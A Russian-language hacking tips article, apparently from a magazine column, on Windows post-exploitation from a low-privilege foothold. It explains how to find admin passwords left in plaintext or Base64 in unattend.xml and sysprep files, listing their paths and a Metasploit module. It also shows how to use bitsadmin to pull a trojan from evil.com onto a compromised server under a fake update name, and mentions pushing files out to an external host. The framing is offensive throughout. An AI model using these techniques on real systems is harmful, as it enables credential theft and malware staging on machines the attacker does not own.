В прошлый раз мы расказывали как можно залить файл на удаленный сервер под управлением windows, сегодня мы продолжаем тему изучения уязвимостей, так широко распространенной системы Windows, и расказываем как получить пароль админа и о еще одном способе загрузки файла с использованием BITS.
У каждой крупной компании есть типовая задача: покупаются новые компьютеры, и на них надо установить Windows и дополнительное ПО, настроить. Есть несколько официальных подходов к автоматизации этого процесса, но их подробности для нас не особенно важны. Интересно лишь то, что при установке ОС необходимо указывать различные параметры и они задаются с помощью
специального файла. Причем если задается пароль для пользователя (локального админа), то содержится он в этом файле в плейнтексте (максимум — в Base64). Иногда этот файл может быть оставлен в файловой системе Windows.
Таким образом, обладая лишь пользовательским доступом в ОС, мы можем поискать этот специальный файл и узнать, нет ли в нем пароля. Воистину easy hack!
Я намеренно назвал этот файл «специальным», так как в зависимости от метода автоматического развертывания системы имя файла, его формат и расположение могут варьироваться.
Вот перечень файлов и типовых путей до них:
C:WindowsPantherunattend.xml или Autounattend.xml C:WindowsPantherUnattendunattend.xml или Autounattend.xml C:sysprep.inf C:sysprepsysprep.xml
Все эти папки по умолчанию доступны на чтение для обычных пользователей.
Еще стоит отметить, что в Metasploit есть специальный модуль для постэксплуатации: post/windows/gather/enum_unattend.
Как закачать файл в Windows с помощью BITS.
Представим себе типичную ситуацию: через какую-то уязвимость мы получили возможность удаленно выполнять команды на сервере с Windows. Высоких привилегий в ОС у нас нет, и порты зафильтрованы на внешнем файрволе. Подошел бы вариант с бэк-коннект шеллом, но ведь надо закачать наш шелл в ОС. И если под *nix-системы существует куча разных возможностей, то с виндой труднее. Можно, конечно, использовать FTP-клиент или скрипт WSH, но эти варианты требуют многострочных действий, что часто бывает проблемой из-за ограничений уязвимости, которая дает RCE.
Оказывается, Windows еще со времен XP хранит в себе интересную тулзу — bitsadmin. Это часть специальной подсистемы BITS, Background Intelligent Transfer Service. Эта подсистема используется для скачивания больших файлов со сторонних ресурсов по HTTP. Автоматическое обновление Windows и обновление антивиря Defender происходит как раз через нее. К тому же ее использует ряд сторонних программ. Она достаточно «умна», так как поддерживает функцию докачки файлов при обрыве подключения (или выходе пользователя из системы), закачку нескольких файлов и их приоритезацию, а также подстройку скорости скачивания файла в зависимости от загрузки канала связи.
Для нас самая главная возможность — это запуск bitsadmin от непривилегированного пользователя и с минимум спецсимволов. Кстати, каждая закачка «оформляется» в виде задачи (job).
bitsadmin /transfer myjob /download http://evil.com/trojan.exe c:WindowsTempkb123456.exe
Ключ /transfer myjob указывает на то, что мы хотим создать новую задачу с именем myjob и с типом download. Далее указывается полный путь до файла и место для сохранения. Помни, что у тебя должны быть права на запись в ту директорию, куда будет сохранен файл (к примеру, у юзера обычно есть доступ к Temp).
Вот и все! Файл будет скачан, возможно — потребуется подождать, если канал загружен.
И еще пара моментов. Во-первых, тулза поддерживает прокси.
По умолчанию используются настройки IE, но можно выставить через параметры к bitsadmin и свои значения. Во-вторых, можно не только скачивать файлы, но и заставить ОС выгрузить файл из файловой системы на внешний хост (команда upload), правда, нужно поднимать специальный BITS-сервер.
И последнее: начиная с Windows 7, эта утилита помечена как deprecated, так что в будущем она пропадет из ОС. Но в Windows 8 она еще присутствует.
Полный перечень команд bitsadmin.